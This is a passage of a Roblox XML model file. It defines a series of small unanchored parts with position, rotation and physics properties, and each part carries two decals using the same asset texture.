					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1424">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-53.0014496</X>
					<Y>0.891119361</Y>
					<Z>-40.3374405</Z>
					<R00>-0.942845225</R00>
					<R01>-0.333205909</R01>
					<R02>-0.00407051248</R02>
					<R10>-0.00154084864</R10>
					<R11>-0.007855759</R11>
					<R12>0.999967873</R12>
					<R20>-0.333227217</R20>
					<R21>0.942821324</R21>
					<R22>0.00689341221</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.028749967</X>
					<Y>0.00810498744</Y>
					<Z>-0.0191103667</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00661452534</X>
					<Y>-0.0110473689</Y>
					<Z>-0.00168547768</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1425">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1426">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1427">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-52.5432434</X>
					<Y>0.788814902</Y>
					<Z>-41.4915237</Z>
					<R00>-0.381770998</R00>
					<R01>-0.0817801133</R01>
					<R02>-0.920631707</R02>
					<R10>-0.203341037</R10>
					<R11>0.9791044</R11>
					<R12>-0.00265202229</R12>
					<R20>0.901611447</R20>
					<R21>0.186189756</R21>
					<R22>-0.39042291</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0217804387</X>
					<Y>-0.0132768545</Y>
					<Z>0.0563603044</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00228028349</X>
					<Y>-0.0147811249</Y>
					<Z>0.00108072488</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1428">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1429">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1430">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-45.6919632</X>
					<Y>0.591326296</Y>
					<Z>-37.3179932</Z>
					<R00>0.336030364</R00>
					<R01>-4.41587654e-005</R01>
					<R02>-0.941851139</R02>
					<R10>-2.74858248e-005</R10>
					<R11>1</R11>
					<R12>-5.66913768e-005</R12>
					<R20>0.941851139</R20>
					<R21>4.49375802e-005</R21>
					<R22>0.336030364</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0046956013</X>
					<Y>0.00141265441</Y>
					<Z>0.000726371421</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00591920549</X>
					<Y>-0.00941349287</Y>
					<Z>-0.000198538459</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1431">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1432">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1433">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-54.2281723</X>
					<Y>0.591226578</Y>
					<Z>-43.4018173</Z>
					<R00>-0.987098157</R00>
					<R01>-0.000177898954</R01>
					<R02>-0.160116166</R02>
					<R10>0.000132881032</R10>
					<R11>-0.99999994</R11>
					<R12>0.000291865057</R12>
					<R20>-0.160116196</R20>
					<R21>0.000266823074</R21>
					<R22>0.987098157</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0275712293</X>
					<Y>-0.000521932438</Y>
					<Z>0.0231213346</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000419846532</X>
					<Y>-0.00201031147</Y>
					<Z>0.000479541166</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1434">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1435">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1436">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-51.0428238</X>
					<Y>0.59089911</Y>
					<Z>-42.8765373</Z>
					<R00>-0.680381894</R00>
					<R01>-0.000119985642</R01>
					<R02>-0.732857764</R02>
					<R10>-8.13745573e-005</R10>
					<R11>1</R11>
					<R12>-8.81751766e-005</R12>
					<R20>0.732857764</R20>
					<R21>-3.56813302e-007</R21>
					<R22>-0.680381894</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0362124741</X>
					<Y>-0.00973666646</Y>
					<Z>-0.00296011777</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00277864421</X>
					<Y>0.0295565408</Y>
					<Z>0.00379072037</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1437">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1438">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1439">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-39.2862587</X>
					<Y>0.591583252</Y>
					<Z>-33.2958908</Z>
					<R00>-0.0487686805</R00>
					<R01>-9.44402782e-005</R01>
					<R02>-0.998810172</R02>
					<R10>0.000132396017</R10>
					<R11>1</R11>
					<R12>-0.000101017249</R12>
					<R20>0.998810172</R20>
					<R21>-0.000137164941</R21>
					<R22>-0.0487686694</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0317215994</X>
					<Y>-0.000964942446</Y>
					<Z>0.0259513389</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>6.6407797e-006</X>
					<Y>-0.00183282502</Y>
					<Z>0.00200482225</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1440">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1441">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1442">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-43.9239159</X>
					<Y>0.591688514</Y>
					<Z>-33.6845932</Z>
					<R00>0.87954241</R00>
					<R01>-0.000252706843</R01>
					<R02>0.475820392</R02>
					<R10>0.000133766545</R10>
					<R11>0.99999994</R11>
					<R12>0.000283832895</R12>
					<R20>-0.475820452</R20>
					<R21>-0.000185994213</R21>
					<R22>0.87954241</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0280050989</X>
					<Y>-0.00239899126</Y>
					<Z>0.0061766766</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00350050209</X>
					<Y>-0.0133040631</Y>
					<Z>-0.00446143141</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1443">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1444">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1445">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-44.844635</X>
					<Y>0.590941131</Y>
					<Z>-35.7052078</Z>
					<R00>-0.873945177</R00>
					<R01>0.000411496963</R01>
					<R02>-0.486024529</R02>
					<R10>-5.6154654e-006</R10>
					<R11>0.999999642</R11>
					<R12>0.000856756058</R12>
					<R20>0.486024678</R20>
					<R21>0.000751487038</R21>
					<R22>-0.873944819</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0279507227</X>
					<Y>-0.00119256985</Y>
					<Z>-0.0198631994</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0035335063</X>
					<Y>-0.0103662116</Y>
					<Z>0.00593491644</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1446">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1447">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1448">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-42.4166832</X>
					<Y>0.59132719</Y>
					<Z>-32.4771423</Z>
					<R00>0.792649686</R00>
					<R01>-4.46921076e-005</R01>
					<R02>-0.609677374</R02>
					<R10>-2.32637376e-005</R10>
					<R11>-0.99999994</R11>
					<R12>4.30590226e-005</R12>
					<R20>-0.609677374</R20>
					<R21>-1.99473452e-005</R21>
					<R22>-0.792649627</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0168138444</X>
					<Y>0.00183475693</Y>
					<Z>0.0402715579</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00387337245</X>
					<Y>-0.0019055272</Y>
					<Z>-0.00567008648</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1449">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1450">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1451">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-40.6823273</X>
					<Y>0.591196597</Y>
					<Z>-34.805191</Z>
					<R00>-0.707346618</R00>
					<R01>-0.000396414078</R01>
					<R02>-0.706866622</R02>
					<R10>-0.000134626534</R10>
					<R11>0.999999881</R11>
					<R12>-0.000426086568</R12>
					<R20>0.706866741</R20>
					<R21>-0.000206227909</R21>
					<R22>-0.707346618</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0275535304</X>
					<Y>0.00113658258</Y>
					<Z>0.0164142177</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00351210195</X>
					<Y>-0.00897785369</Y>
					<Z>0.00258841459</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1452">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1453">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1454">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-32.4717522</X>
					<Y>0.590186894</Y>
					<Z>-30.1799755</Z>
					<R00>-0.0759224966</R00>
					<R01>0.00185843452</R01>
					<R02>0.997112036</R02>
					<R10>-0.0001942901</R10>
					<R11>-0.999998391</R11>
					<R12>0.00184902025</R12>
					<R20>0.997113764</R20>
					<R21>-5.33467937e-005</R21>
					<R22>0.0759226531</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
